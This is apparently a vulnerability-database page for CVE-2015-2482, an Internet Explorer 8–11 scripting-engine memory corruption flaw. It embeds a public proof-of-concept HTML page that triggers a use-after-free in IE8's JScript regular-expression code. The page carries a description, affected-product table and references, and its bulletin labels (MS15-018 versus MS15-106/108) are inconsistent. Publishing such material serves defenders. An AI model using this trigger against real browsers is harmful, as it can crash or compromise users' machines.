CVE-2015-2482
Description
The Microsoft (1) VBScript 5.7 and 5.8 and (2) JScript 5.7 and 5.8 engines, as used in Internet Explorer 8 through 11 and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted replace operation with a JavaScript regular expression, aka "Scripting Engine Memory Corruption Vulnerability."
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Internet Explorer 8 - jscript 'RegExpBase::FBadHeader' Use-After-Free (MS15-018)
<!--
Source: http://blog.skylined.nl/20161116001.html
Synopsis
A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.
Known affected software, attack vectors and mitigations
Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
-->
<!DOCTYPE html>
<html>
<script>
// This PoC attempts to exploit a use-after-free bug in Microsoft Internet
// Explorer 8.
// See http://blog.skylined.nl/20161116001.html for details.
var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
"A".replace(r, function (){
// Force OLEAUT32 to free the string
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
// Reuse the freed memory
r.compile();
});
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
</html>
<!--
Description
Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.
Exploit
Exploitation was not investigated.
Time-line
March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
-->
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| microsoft | jscript | 5.6 | |
| microsoft | jscript | 5.7 | |
| microsoft | jscript | 5.8 | |
| microsoft | vbscript | 5.6 | |
| microsoft | vbscript | 5.7 | |
| microsoft | vbscript | 5.8 | |
| microsoft | internet_explorer | 8 | |
| microsoft | internet_explorer | 9 | |
| microsoft | internet_explorer | 10 | |
| microsoft | internet_explorer | 11 | |
References
- http://seclists.org/fulldisclosure/2015/Oct/54
- http://www.securitytracker.com/id/1033800
- http://www.zerodayinitiative.com/advisories/ZDI-15-515
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-106
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-108
- https://www.exploit-db.com/exploits/40798/
- http://seclists.org/fulldisclosure/2015/Oct/54
- http://www.securitytracker.com/id/1033800
- http://www.zerodayinitiative.com/advisories/ZDI-15-515
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-106
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-108
- https://www.exploit-db.com/exploits/40798/
CWEs
CWE-119
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.